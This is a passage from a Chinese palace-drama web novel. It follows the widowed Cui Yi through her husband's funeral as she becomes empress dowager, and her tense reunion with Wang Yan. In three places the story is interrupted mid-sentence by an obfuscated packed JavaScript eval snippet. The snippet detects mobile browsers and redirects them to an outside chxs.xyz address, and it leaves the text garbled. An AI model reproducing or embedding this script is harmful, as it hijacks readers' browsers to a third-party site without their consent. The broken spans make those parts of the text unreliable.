《古早追夫火葬场》 1. 丧夫 崔仪不明白,自己好好的丈夫,怎么说死就死。 她心知卫泠比自己大五岁,肯定死在她前头,不过她没想到会如此突然。 卫泠的皇位还没坐热呢,就在昨日夜里病重去世,撒手人寰。 一清早,崔仪被宫女嬷嬷们架着洗漱,穿上丧服,她整个人未来得及从震惊中回神,就在乌泱泱的人群中被挤进了灵堂。 大臣、国戚将灵堂前站了个满,事发突然,礼制上欠缺了些,众人的神情都和她差不多惊骇,悲痛倒不见得有多少。 右手边站了个披麻戴孝的素衣少年,正在和将军打扮的人说话。 少年面庞精致,尚带几分青涩。 想是哭了一整夜,桃花眼的尾处泛着红晕,唇珠苍白,脸无气色,他的身量适中,腰细腿长,身板挺正,仪态极好。 崔仪揉了揉眼,理智回笼几分,再睁开双目,少年已迎了上来,语色哀恸。 “母后!”他稍稍行礼,“母后节哀……” 这桃花眼的少年,是卫泠唯一的儿子卫秀,崔仪嫁给卫泠后,卫秀也就成了她的儿子。 人群也跟着高喊:“太后节哀!” 太后,崔仪念了念。 卫泠病弱后,没来得及行登基大典,她自然也不曾行封后之礼……倒也好,前脚刚封后,后脚再封太后,两场大典下来还不把她崔仪给累死。 她叹气,跟卫秀往里走。 见崔仪神容怔愣,卫秀只当她沉浸在悲痛里,试着安慰她。 “母后不必伤神,父皇在世时极爱惜你,今日仙去,必然也不舍你落泪。”他又说,“父皇走得很平和……” “是吗?”崔仪终于开口。 一旁的老嬷嬷提醒:“太后,宫里的规矩,灵前还是哭上一哭吧!” 崔仪晓得宫里规矩多,没表态,上前几步,在众人的惊呼中一手摸上了灵棺,似乎要一把掀开瞧上一眼。 “太后!不可啊!” “母后!” 卫秀更是几步上前就要按住她的手,想想于理不合,又停在空中,着急劝她:“母后!父皇一生好风仪,不愿让您看到他病去的模样,这才不曾让宫人将你唤醒……母后!” 多可笑,这个短命帝王的最后一个命令是不许宫人惊醒他尚在熟睡的妻子。 堂内众人神情各异。 幸而崔仪并未再有更多动作,只是轻触着冰冷的棺椁。 “夫君……”低低一声,含着无限忧愁,“你们退下些,让我和夫君待一会儿。” 宫人们这才放下心,可也不敢离得太远,后撤几步,恭敬等候在一旁。 崔仪跪在蒲团上,指尖摸着棺椁,在心中感慨。 嫁给卫泠的过程并不曲折,一切都顺理成章。 卫家人仿佛生下来就是为了血肉相残,一生都活在极致的爱恨中。 当时,她没有更好的选择,卫家男人不是疯子就是傻子,还有几个糟老头,只有卫泠稍大她一些,样貌极好,性情也稍正常些。 卫泠的兄长丰宣皇帝是卫家疯子的翘楚,十几岁时逼.奸亲生妹妹朝香公主,百官上言也无用,还掉了不少脑袋,丰宣皇帝生性多疑,崔仪与卫泠成婚的五年,前面两年老老实实活在皇城丰宣的监视下,后来丰宣身体愈发不好,只得派卫泠前去出战,崔仪一路跟随…… 行军艰苦,卫泠对崔仪一路上多加照顾,后来在崔仪的帮助下打了胜仗,待她更如至宝,只是回京后日子就不好过了,病弱的丰宣对弟弟弟妹的言行敏感至极,卫泠面上不表露,只带着崔仪到处走街串巷,游山玩水,正事一点都不做。 所以,和卫泠成婚的这几年,崔仪过得很快乐。 卫家人天生好皮囊,他俊美温柔,对崔仪无微不至,她没有任何烦恼。 去年冬,卫泠的病逐渐有了端倪,今年入春也未好,接着一场大火在宫里燃起,朝香公主一刀杀了熟睡中的丰宣皇帝,却因常年的囚禁生涯,体力不支的她倒在火光中,与丰宣一同死去。 卫泠不情不愿地入了皇宫准备登基,上个月,他还躺在床上,握着崔仪的手:“我此生只会有你一个皇后,后宫中绝没有别的女人。” 崔仪一只耳朵进一只耳朵出:“你做了皇帝,可不能随便死,否则我还得陪葬。” 卫泠病气的脸上漾出一丝促狭的笑:“我死了肯定难看,当然不想让你看见。” 当时的玩笑话,没想到一语成谶。 卫泠啊卫泠,你怎么忽然就死了? 崔仪跪在地上伤怀,好不容易感叹完她和卫泠的五年,才意识到自己如今的身份是太后,这么多双眼睛盯着她,她必须哭上一哭。 可她哭不出来呀,心里有点难过是真的,只是崔仪酝酿了许久的眼泪怎么也落不下来。卫泠对她这么好,何必哭哭啼啼地落场?这么多人看着,崔仪没有办法,只好低下脸,装模作样哭了几声,而后嗓音一窒,晕在地上。 “太后晕倒了!”宫女们手忙脚乱把她扶起来,闹嚷嚷一团,卫秀紧忙看了眼,而后收回视线,说道:“把母后送到一旁的晴然阁歇息。” 崔仪紧闭着眼,这一关算是糊弄过去了。 在宫女的围拥下,她被架入晴然阁,临走前,空气中传来一阵幽冷兰香。 晴然阁是丰宣建的,种满了奇珍异草,顶楼是个赏月的小阁台,此地不是宫殿,无法住人,只能勉强歇息。 崔仪进去没一会儿,卫秀也进来了。 少年在原地站了会儿,让下人都退下,无奈开口:“母后,别演戏了。” 崔仪睁开眼,坐靠在卧榻上,稍有些尴尬:“被你看出来了。” “我不哭,你不怪我?” 卫秀很平静:“父皇夸过你心性坚韧,且他让我照顾你,你不哭是好事。” 便宜儿子这么懂事,崔仪怪不好意思:“你父皇对我太好了,一想到他就忍不住要笑,哪儿哭得出来。” 简直是强词夺理,卫秀顺着她道:“母后先歇着吧,前面还有许多事要处理,儿子告退。” “等等!”崔仪叫住他,“王家来人了吗?” 卫秀没回头:“来了,就连王三公子也被带来了。” 崔仪愣在原处。 王三……王厌真的来了啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791553|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刚才那一阵兰香,是他吧。 崔仪兀自伤感,在花香里迷迷糊糊睡着,梦到了卫泠。 他隔着窗户望她,暖阳照在他脸上,驱散了病气,披着发,清润的双眸正无声凝着她的脸。 崔仪还未意识到自己在梦中,她和卫泠时常在小窗旁闲聊。 “你看着我做什么?” 卫泠叹气,不曾说话,伸手摸了摸她肩上的一缕黑发。 他的手苍白,崔仪逐渐想起,和他怔怔对视。 她的丈夫,她的夫君,已经不在人世,这只是她的一场幻梦。 在这梦里,卫泠不再病痛,恢复了以往的风雅。 在崔仪开口前,卫泠帮她理好那一小缕墨发,收整到她的发髻中。 他仿佛有很多话要说,然而最终也只是微微一笑 “你不伤心是最好,我从未让你流过一滴泪,至死依旧。” 她怎么会不难过,只是在外面,崔仪无法表露。 她抓住卫泠的手,真心实意道:“……多谢你。” 仅有的两句话,已让卫泠安心离去,他最后一次替她扶正珠簪,消逝在了她的梦中。 崔仪再度醒来,坐了许久,而后让心腹侍女惜云带着她去了灵堂中。 肃穆的白花,和心思各异的朝臣们。 崔家也来了人,不过他们对于卫泠的死,可是差些就恨不得大笑出声。 卫秀年少怯懦,往后宫中大权在谁手中一目了然,当初让崔仪与卫泠成婚,真真是赌对了。 面对心怀鬼胎的官员们,崔仪勉力操办丧仪,卫秀看她摇摇欲坠,上去劝她:“母后量力而行,父皇定然不远见你受累。” 她不说倒好,这样一说,崔仪真有些埋怨卫泠,又兴许是为了伤心。 她茫然失神道:“他就这样走了,留下我一个孤零零看着这座宫殿有什么用?” 卫秀:“……母后节哀。” 崔仪的眼眶湿润,但眼泪还没掉下来,她又捂住心口:“留下几个冷冰冰的兵符给我有什么用。” “母后!”卫秀压低嗓音,“都是父皇的错,死得不是时候,您别伤心。” 大不敬的话,自然不能给旁人听得,但惜云听到了耳朵里,眼神诡异地扫了一眼卫秀,接着扶住了崔仪的胳膊。 母子二人在灵堂前低声交谈,旁人只当崔仪伤心过度,新帝正在安慰。 不知是谁道了句王三来了,崔仪才止了抱怨的话茬。 王厌早就来了。 因是吊唁,他身着素衣,敛眉低目,只用一根白梨花簪子别住了墨发。 只一眼,崔仪就与王厌视线交错,隔着人群对望。 王厌本就不爱笑,今日面色又格外惨白,见了崔仪,唇瓣也逐渐失去血色。 这倒是应了上京人对他的期望,一个不食人间烟火的仙人。 微风穿堂而过,素色的衣衫被吹成一抹飘然雪色,他蹙眉理好衣袖,一言不发地上前奉香。 崔仪好整以暇地看着他一步步走近,视线落到他发颤的手上。 她笑了:“王厌,久违了。” 2. 贱人 太后是崔家女,王厌亦是望族嫡子,不知在哪个席间见过也未可知。 众人不曾对此声招呼感到异样。 然而,崔仪问候了一声,王厌却迟迟不开口,按照礼数,他应当跪拜行礼,尊称太后,宽慰几句。 崔仪等着他的动作,却只见他绷紧了唇线,竭力维持镇定,将手中的贡香敬上。 竟是一句话也不曾说。 先前那一阵风仿佛是被他带来,此刻又在堂内穿过。 火红的芯子迅速褪去色彩,贡香在宫人们的眼皮底下灭了。 崔仪望着眼前袅袅升起的余烟,稍一拧眉,还未来得及开口,卫秀已冷了脸。 “放肆。” 人群鸦雀无声,众人都望向此处。 王厌的手还顿在原处,他并不擅于应对这样的情况,崔仪看在眼中,情不自禁想笑,目光落在他清瘦纤美的手指上。 她想起初见他时,王厌背对着她,跪在蒲团上诵经,穿了身绛紫色的轻纱宽袍。 在那之前,她不曾见过王厌的真容,只听人说,他生来自带一股异香,冷魅馥郁,宛若玉兰。 当时的崔仪很不解:“兰香?香膏涂抹一些就是了,有何稀奇。” 同席的友人笑道:“崔仪!你一旦闻到过就会明白,什么样的香铺都学不出他身上的香味。” 真正只见到他的背影时,崔仪就领悟了这话的含义,不过她第一眼瞧的却不是王厌的脸,而是他的手指。 这位少年郎君,每一处指节都被木板紧紧夹着,外人瞧了还道是在受刑。 崔仪吓了一跳,放下长弓要去帮他解开,王厌却端庄坐在神像前,委婉道:“女郎止步,这是家中的授意。” 后来她才晓得,王厌当初正是长身子的年岁,王家人怕他的指节生得粗大丑陋,每日都让人用木板紧紧束着他的手指五个时辰。 如今看来,成效不错。 这双手优美而秀丽,可惜指尖发白。 崔仪顺着发白的指尖,望到他同样惶然苍白的脸上,不冷不热道:“看来王三公子,与此处冲撞。” 她发了话,场上气氛更诡谲。 此事可大可小,本就看太后处置。 人人都望着王厌,不知他为何出了这样的差错,就连王家人也是一脸不满。 在目光如炬的凝视中,王厌咽下喉中的苦涩,缓缓跪在了崔仪与卫秀面前。 “臣知错。” 王厌是臣吗?崔仪在脑中回忆,他多年前就长住在太清道观中,似乎是封了个什么小官,为国祈福。 她的缄默宛若变相的授意,卫秀心下了然。 “清风无意,王三公子何错之有?”卫秀哭了一夜,许是倦了,声色中有些冷意,“跪着再奉一柱就是了。” 天子驾崩,贡香是应当的,王厌并不是完全不通人世常理。 可对他而言,棺椁中的人不仅是先帝,还是崔仪的丈夫。 他难以呼吸,仿佛被人扼住了喉咙。 求救的眼神投向崔仪,后者自然知晓王三公子不擅应对这些事,眼神相接之时,崔仪终究是心软,她扶了扶额间的素色珠钗。 “陛下不会怪罪于你。” 这话一出,就是不打算追究,可王厌的面色不曾因为崔仪的宽恕而好转,反倒更虚弱。 他跪在地上,咬紧牙关,又奉上了一支,这一回,没再出什么差错。 卫秀见状,和气道:“起身吧,早就耳闻王家三郎风姿无二,怎么好叫你跪在地上半晌。” 崔仪也想笑,王厌甚少参与宫中的大小宴席,但每回露面,众人都因他的美名而格外优待。 上京中,谁不知晓王家三郎容姿高澈,风雅无双,他诞生的那一刻起就拥有了高贵的出生和出尘绝色的皮囊。 见王厌站起身,崔仪的眼神还不曾从他身上移开,王厌自知礼数不周,喉结滚动几下,目色伤痛。 “陛下节哀。” “太后……节哀。” 他不敢再望着崔仪的眼睛,崔仪却仍然盯着他,将他从头到尾打量了数遍,最后才道:“有心了。” 王厌六神无主地被王家人带走了,他们想不通为何今日的三郎如此反常。 为人处世上,王厌欠缺了些,他向来是如坐云端不问凡尘事,可也不至于迟缓至此,仿佛被人夺了魂魄。 崔仪没心思管,今日之后,还得将卫泠葬入皇陵,一堆大大小小的事要做,虽有卫秀的帮衬,不过她还是屡屡叹气。 人潮逐渐散去,崔仪回了寝宫,惜云正要帮她拆卸发钗、褪下沉重的衣物,又有宫婢来报,说是太后的族妹要单独叙话。 方才在灵堂上,崔仪特意不与族人交谈,没想到崔明意还是来了。 她扶额:“传。” 不多时,崔明意款款入了她的寝宫。 崔明意是崔仪嫡出的妹妹,她肌肤白净,身量瘦挑,生了双清澈的鹿眼。 脸庞微长,下巴圆润,瞧着娴静端丽,文质彬彬,才女之相。 不过,这只是她的表面。 崔仪主动开口:“明意,你怎么来了?” 崔明意丝毫不曾顾忌她如今的身份,围着崔仪踱步,好半晌,发出一声轻笑:“阿姐,你高兴吗?” 她的发问来得莫名,崔仪让宫婢都退了下去。 “我死了夫君,怎么高兴得起来?” 没想到她会这样回答,崔明意不可置信地眨眼,站稳身子。 “你伤心?阿姐,你为他伤心了吗?难道你忘记,当初为何让你嫁给他!” “我记得,不过人非草木,相处五年,心中是有些难过。” 崔明意对这回话还算满意,可没一会儿又沉了脸:“你打算怎么做?” 崔仪假模假样地捂住眼:“我刚死了丈夫,哪儿想得了这样多,且让我安生几天,再做打算。” 仿佛被这话刺激了,崔明意秀婉的面容上,目眦欲裂,她的眼珠开始四处转动,不知目光要落在何处,唇也抖了起来。 “阿姐,别忘记你的目的。” 最终,她留下这样一段话,连礼也不行,直直走了出去。 崔明意已成婚了,她的夫家是谢家嫡子,马车等在宫外,崔明意白着脸上去。 谢既本在读书,见她弯腰进来,正要开口问她是否用些茶水,却见崔明意圆瞪的双目中,泛着猩红血丝。 谢既心中“咯噔”一声。 又来了。 果不其然,崔明意骂了一声:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791554|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贱人。” 谢既不敢搭话,也不敢劝她,只将窗幔拉下,马车内陷入暗色,崔明意更崩溃,双手扶着谢既的肩膀,哭骂道:“贱人!贱人!卫泠这个贱人死不足惜。” 先帝又怎么惹她了?谢既没头绪,只当她发了病胡言乱语,大气不敢出,任崔明意发泄。 马车前行,谢既虽习惯了崔明意发疯的癫狂之态,却还是怕被旁人听见,不得不安抚:“嘘,小声些,明意。” 他的安慰起了些效果,崔明意不再厉声咒骂,而是忽然流泪,无助地抱住他。 “我该怎么办?姐姐如今是太后了,我要怎么办?”她抬起脸,“难道我要称帝,才能赢了她?” 女人称帝,真是闻所未闻,若不是崔明意脑袋有问题,寻常人连想都不敢想,谢既失笑。 可他只是牵了牵唇角,脸就被打偏到一旁,车厢内清脆的一记巴掌声。 崔明意又变了脸,她不哭了,眉梢之间容色冰冷,只有眼泪还挂在面颊之上。 “很可笑吗?我被姐姐气得发疯,你在笑什么?” “卫泠的死,能让姐姐一步成为太后,她膝下还有卫秀这个贱骨头唯命是从,你能给我什么?好笑么?” 崔明意又给他一巴掌,“活着还不如旁人死了有用,我若是你,早该了断。” 谢既捂着脸,痛得快哭了,但他知道这是崔明意的疯症,失了理智才会胡言乱语,并非本意。 他不懂朝政,也不懂什么太后皇帝的,只好抱着她安慰:“我错了明意,别骂了,小声些。” …… 崔明意从崔仪的宫里离开,卫秀恰好望见她步履生风的背影。 与崔仪商议完皇陵的陪葬之后,崔仪又陷入郁结,卫秀连忙换了个话茬:“来时遇见位女郎从母后宫中出来。” 崔仪张了张口:“那是我的妹妹,明意。” 崔明意在上京颇负盛名,多是夸她文采斐然,气质典雅。 不过今日见她匆忙慌张的样子,卫秀心生疑惑:“她似乎心头不快。” “哼……”崔仪很淡然,“她是个疯子罢了。” 曾几何时,崔仪和明意的关系很好。 崔家的女郎都可在自家习武,明意比崔仪小一岁,二人同一年开始习武,彼此切磋,可后来不知怎么,崔明意拒绝了崔仪的邀约,还时常用怨恨的目光看她。 崔仪不理解,询问几次也不曾得到缘由,干脆不管了。 论功夫,崔仪没有天赋,学得吃力,不过她很快就发觉了别的本领。 那就是弓术。 别人还在原地拉弓射准头时,崔仪已经能在颠簸的马背上百步穿杨,在那几年也是名声大噪,上京中,她的弓箭无人能及。 有一回,崔明意非要和她比试,崔仪本想着借此机会让两人重修于好,刻意输给她,结果崔明意冷着脸向她讨要了一个马奴。 这小奴在马场中训马有些本事,崔仪曾经问过几句话,走得不算近,她不知晓为何明意向她要这么个人,但没多想,将人送了过去。 过了几日,崔仪在马场射箭,却听说马奴已经死了。 惜云去打听,回来告知崔仪,那马奴死前,有人拿刀将他的嘴唇与舌头割下,切成薄如蝉翼的片状。 3. 陪葬 崔仪未曾将这些事全盘告知卫秀,毕竟是自家的事,传出去对她无益。 她只三言两语带过:“她若是再来,先通报一声就是。” 宫婢们跪地应声,卫秀心知母后此刻想要独处,将要告退:“母后睁眼后还不曾用膳,儿臣命人备下吃食,母后用完歇着吧。” 他站在几步外,一张脸上竟然找不出几分血色,说话时总要停顿几下,想必是困倦至极。 说起来,便宜儿子孝顺是孝顺,但几乎没担过事儿,也不知能否承得住。 崔仪一手支着额头,惜云正为她摘下发间的钗花,她让惜云也退了下去,闭目道:“你整夜不曾合眼,也该歇下了。” 卫秀惺忪道:“歇不得,一会儿礼部的人还要递上拟好的册子前来商议。” “原是如此。” 房内的莲刻博山炉熏得她犯困,崔仪想起这香还是卫泠亲自制的。 他病后,二人分居而眠,崔仪屡屡被梦魇惊醒,翌日去给他喂药时不断抱怨,卫泠拖着病躯为她制香,折腾出了整整一个木匣子那样多,还不知要用到猴年马月。 心念一动,崔仪叹道:“唉……陪葬的册子拟好了递给我也瞧一瞧,你父亲生前留给我不少物件,瞧着凭添伤心,一同入陵吧。” 卫秀哑声:“他去世前吩咐过,不希望您这样做。” 死前连这一步都猜到了?崔仪睁开眼,卫秀见她不信,吞吞吐吐道:“其实……父亲早已自知大限将至,许多身后事已经料理好了。他说死后葬入皇陵,不许你将二人的用物送进去陪葬,一是于礼不合,二来……他自愧命短,不能尽到丈夫的本分,就让这些用物替代。” 崔仪眉头一跳:“可我去见他时,他是虚弱了些,气色倒还好……” 怎么就早知大限将至了。 话语戛然而止,卫秀红了眼,不忍道:“他不想您烦忧,用着胭粉遮掩,他、他早就……” 看他这哽咽难言之色,崔仪一时也语塞,好在卫秀很快去抚去眼尾的湿意,镇定道:“他唯一的期望就是让我照顾好母后。” “行了,行了,”崔仪说不出什么滋味,撇了撇手,“我又没缺胳膊少腿,用得着他死前还吩咐这样一堆?你先去忙吧,礼部那边的事晚些商议。” 本朝没有停灵的习俗,如今入了春,棺椁也不宜搁置太久,想必宫中的朝臣一眼没合眼,都在忙皇帝的丧事。 惜云回了殿内,站在崔仪身后帮她理顺长发,崔仪望着铜镜,不知怎么还有心思说起了玩笑话。 “接连死两个皇帝,礼部的人忙得过来吗?” 惜云是最与她交心的,说起话来也不避讳什么:“丰宣这个畜生死有余辜,照奴婢看来,礼部也潦草得很,随意埋进皇陵中了事。” “他毕竟是皇帝,怎会潦草?”崔仪莞尔,笑意难达眼底,“只是他身上最重要的东西还没找到……” 惜云噤声。 御膳送来时,崔仪正巧换好寝服。 婢女端着食案上来,想是猜到崔仪没什么胃口,大小不一的瓷碗里,盛着清淡的菜式和粥点。 崔仪有一套白瓷,是卫泠送她的,不算贵重,只是碗底的梨花图案别有趣味,她和卫泠都喜欢梨花,这套用具也成了她最常用的,入宫时也带上了。 在殿中用膳,宫人们都备着这一套,卫泠当初还笑她是个死心眼的,看上一样东西决不会放手。 粥喝了没几口,崔仪就察觉碗里有异物,她还道是谁不长眼,用勺子在里头搅了搅,发觉竟是一只雕成梨花的白果。 崔仪瞪着眼看了会儿,将那梨花一口吞入,有几分恼火的意味。 这个人死前不知都在想什么,正事不做,想着这些稀奇古怪的。 这顿饭吃得她难以下咽,喉中几次哽住,饭后惜云递了茶水来清口,崔仪将茶碗一搁,侧身睡了过去。 她不贪觉,只是睡醒时容易发脾性,这么多年都是惜云叫她起身,后来成婚就由卫泠接手了此事,如今卫泠身死,惜云又恭敬站在殿门外等候。 大殿里,除了惜云外,另有几个跟得久的在收拾物件。 遗物不能跟着进入皇陵,崔仪仍是不想整日看见,就连卫泠制的香她都命人收了起来。 睡前,她朝着惜云道:“人都没了,留着又有何用,不过是想让我不得安心,好让我忘不了他。” 一个时辰后,卫秀又折回来了,他不曾差人通报,手里捏着几张册子进了外殿,惜云行了个礼正要进去唤醒崔仪,卫泠连忙叫住了她:“惜云姑姑,算了。” 惜云只瞥他一眼,不问他缘由,福身继续站在入口处守着,卫秀索性坐在外殿看起了乱七八糟的折子。 丰宣在位时,处理朝政一向是轻罪砍头、大罪株连,天灾问罪人祸抄斩,他是省了不少事,但这样做的后果就是死了不少出身微寒的官员,于是太傅谏言由重臣代为批阅奏折。 朝政如何,丰宣看着就是了,只要不涉及军权,他都不是很在乎,一来二去,真正会被递到皇帝手中的奏折少之又少,且多是些不重要的杂物。 可是卫秀没处理过,批得一头雾水。 死了父亲,又哪里有这份心思,不多时,卫秀就放下了竹笔。 “怎么不看了?” 崔仪倚在珠帘旁,她已醒了有一阵,看着并无焦躁之意。 惜云跟在她后头,崔仪坐到卫秀的对面,捡起一本折子就往上批阅:“你父亲病重时,这些都是我来帮他处理,你从不沾这些事,想必毫无头绪。” 卫秀若有所悟:“待父亲入了皇陵,儿臣会出一纸诏书请母后辅佐朝政。” “说得都是什么话?”崔仪瞥他一眼,“天下终究是皇帝的天下。” 不知想到什么,卫秀隐有笑意,又似无奈。 他抽出礼部递上来的册子给崔仪过目,轻咳一声,道:“这些物件我已筛选过了,母后也再看一看。” 既然不让她塞东西,那就只有规制上要把把关,崔仪没干过这份活儿,只想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791555|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇帝下葬,陪葬自然越贵重越好。 “丰宣皇帝的陪葬还没有这一半多,”崔仪将册子看到底,“礼部给足了面子。” 卫泠没有正式登基,不过是难得仁爱和气的君主,行军时也亲民近人,比起丰宣不知要好多少,礼部的人暗中惋惜,数量上远超规制,崔仪只当没看见,将册子又递了回去。 她听见卫秀继续说:“除了这些陪葬,礼部还要请太清道观的道士来做一场法事。” 病去的人容易留恋凡间,寻常人家若有病去的也会办法会。 崔仪挑眉:“太清道观的人答应了?” “应下了,”卫秀颔首,“当初您与父亲出征长戈山,战胜后抚慰了每一户身亡将士的家人,道观听闻此事,感你们二人的这份善举,倒是应得容易。” 长戈山的事,是崔仪难以忘怀的回忆,她静了一会儿才问:“王厌也会来?” “王三公子身受官职,天子驾崩,操办法事,他怎会不来?”卫秀答完她的话,困惑发问,“母妃与王三公子相熟吗?今日在灵堂中,他似乎不大对劲。” 崔仪并不回避:“我与他是旧识。他并非不对劲,不通人情常理罢了。” 卫秀悄悄看着她的神色,小心道:“早就听闻王三公子是太傅嫡孙,亦是王氏的心头肉,为何名讳中取了个‘厌’字?” 烛火摇曳,映在崔仪的瞳仁中,她回想起王厌的模样,双目有所触动,卫秀不动声色地别开眼。 “因为他出生时的异香,让王家人盼望他超凡脱俗,化鹤而去,自然更希望他厌恶这覆着污浊的人世……”崔仪缓缓道,“正是因为王家人要他站得高一些、再高一些,远离我们这些普世俗人,才给他起了这样的名字。” “肉体凡胎,谈什么成仙化鹤?”卫秀漂亮的脸上布满了懵懂之色,“更何况王氏青黄不接,身为嫡孙,他理应入朝为官,怎么成日在道观里?” 崔仪的唇畔浮起一抹笑意:“谁知道他,不过,这样也很有趣味。” 卫秀的唇翕动几下,没敢接话。 他曾经见过母妃捕猎。 深山围场中,母妃的双目,在看到猎物时,会迸发出异样的专注,掺杂几许势在必得的轻蔑。 一如此刻。 可他不敢细想,夜色渐深,卫秀带着卷册告退。 深宫寂静,崔仪小憩了半晌,不见睡意,借着一星烛火阅书。 惜云凑到她耳边道:“军中来了人,还有小半个月就要到了。” 崔仪和卫泠在长戈山外的铁骑营中极有威望,兵符如今也在崔仪的手中。 前些日子,军中请信,有两人本是来看望病重的卫泠,结果还没到上京,探病成了奔丧,崔仪的指腹揉了揉书页:“来的是谁?” “左副将和祝军师。” “祝令梅也来了?”崔仪大惊失色,站起身道,“混账!她怎么能在这个节骨眼过来,我命她帮我照顾的人……” 惜云低着脸:“那位也一同来了。” 4. 水灯 法会就在三日后,按照规制,办完仪礼后,卫泠的棺椁会在京郊军将的护卫下被送入园陵,崔仪和卫秀在陵前最后上一炷香,才能合上墓陵。 这一日崔仪醒得很早,惜云进殿时,就见到崔仪已起身独坐在床沿,边上的帷幔落在她膝盖上。 天还不亮,崔仪背对着惜云,静静道:“这宫里的睡榻还不若府中宽敞。” 惜云见外头的婢女未曾进来,悄声:“太后如今说话要当心些。” 崔仪默然,她听闻宫中的妃子不许睡宽榻,也不准许坐宽敞的椅子,一切都得等着皇帝亲临时,才可破格睡一睡。 她原本可以换个宫殿,只可惜因为朝香公主的那一把火,皇宫内数座主殿还在修整,想想又是一笔银子要如流水般砸出去。 不多时,婢女们鱼贯而入,崔仪洗漱完,又是惜云给她梳发。 惜云感慨道:“这才五年,您就从王妃成了太后……” 当初崔仪嫁给卫泠时也未料到后事的发展如同脱缰野马,崔仪不知是喜是忧,惜云见她怅然若失,宽慰几句:“皇帝手中半点实权也无,往后如何都是您说了算。” 听到这些话,崔仪铜镜中的脸终于缓和几分。 她望着自己的脸,伸手去摸镜中人的双目:“惜云,你知道吗?从前我在家中不受宠,旁人见了我这双眼,都打趣喊我吊梢眼,吊眼鬼……” 崔仪的眉毛色若山黛,走势舒展,眉弓高处有个扬起的弧度,双眸前低后扬,眼神晦涩,她垂眸看人时也总有几分挪揄张扬之意。 惜云摇头:“奴婢被您救下时,您在京中已名声远扬,外人说您这双眼生得极好,丹凤之姿。” 想起这过往,崔仪也跟着笑了:“是啊,后来丰宣死了,我跟着卫泠进宫,婢子们又夸我这双眼难得一见,实在天命加身。” “都过去了,”惜云将最后一支雪色的珠钗移入她发间,怜惜道,“如今一切都好起来了。” 早间实在没心思用膳,下人早已将丧服送来,崔仪换好衣裳,卫秀命仪仗等在宫门口,将士们抬着灵柩。 山中园陵肃穆庄重,天家的丧仪一向极尽繁琐,但卫秀这两日告诉崔仪:“父皇死前还吩咐过丧仪一律从简,尽快下葬。” 这就省了宫人们不少事,不必兴师动众折腾好几日,今日一共两场丧仪,礼部的行完,再由太清道观的人来给亡灵超度祈福,此事就算了结。 灵棺在皇陵外,崔仪下了马车,外头已侯了不少朝中近臣与家眷,崔仪过目望去,和父亲对上眼,她冷冷一笑,又移开了。 卫家也来了几个宗王,这两人性情中庸,平生所好唯一个色字,难成大器,崔仪很客套地打了个照面就再也不曾理会过他们。 崔明意也随着谢既来了,崔仪一见到她就头疼,忙不迭别过脸,但崔明意的目光如有实质,恨恨盯着她。 究竟恨什么?崔仪一头雾水,只能归咎于这上京的疯子实在太多,从帝王到王公贵族之间就难以寻见几个正常人。 本朝帝王入陵都在正午之时,因此,众人都就位之后,礼部的人就开始操办仪礼。 按照规矩,要割下帝王身前服饰的一角,在陵前抖落三回,丧歌起时将陪葬品的器具送入,顺位继承的新帝合棺送入,再接着就是贡香。 卫秀命宫人来问:“太后可要上前看最后一眼?” “不,”崔仪想也不想就拒绝了,“按礼制行事就好。” 她这几日时不时恍惚,卫泠死得过于突然,以至于她还未回过劲来。 按私心说,她不想见卫泠的死状……他也应当不愿被瞧见。 宫人回去禀告卫秀,卫秀颔首,并不意外,他脸上泪痕未干,可见其孝心不假。 由他亲手合上棺椁,卫泠就会被送入葬陵。 死者的棺椁中,自然也有陪葬品,卫秀屏息去看父亲的灵柩。 病去的青年用白绢覆着面,棺内的金银珠宝不计其数,可他手心握着的不是什么世间难寻的宝物,而是一个锦盒。 很小,足够精致,不过在这琳琅满目的棺椁内也不够看的。 内务收拾时,曾惋惜道:“陛下生前绞了太后的一缕长发,和他的结在一块儿……特意吩咐奴才们要将这盒子放在他手中。” 卫秀盯着那只紧紧攥着锦盒的手,下人们都退在远处,回避新帝的哀悼。 他眨了眨眼,将那锦盒从僵硬的尸手中拽了出来,而后平静地放入袖中,合上棺木。 这几个动作一气呵成,以至于没有人发觉这异样,灵柩被送入了帝陵中。 崔仪走上来准备奉香,眼瞧着棺木消失在眼中,眼眶酸涩。 卫秀也红着眼落泪:“母后不必悲伤。” 她根本就不曾哭过,谈什么悲伤,卫泠最后托梦也是让她万不能落泪,以全二人这几年的相处。崔仪了然:“我心中明白。” 点了最后一柱香后,宫内的行仪就办完了,太清道观的人等候在外侧,其中一个紫袍道人上前与崔仪和卫秀碰了个面,尤其是向崔仪道:“久闻太后的种种事迹,没料到是在此情此景下相见,还望您节哀。” 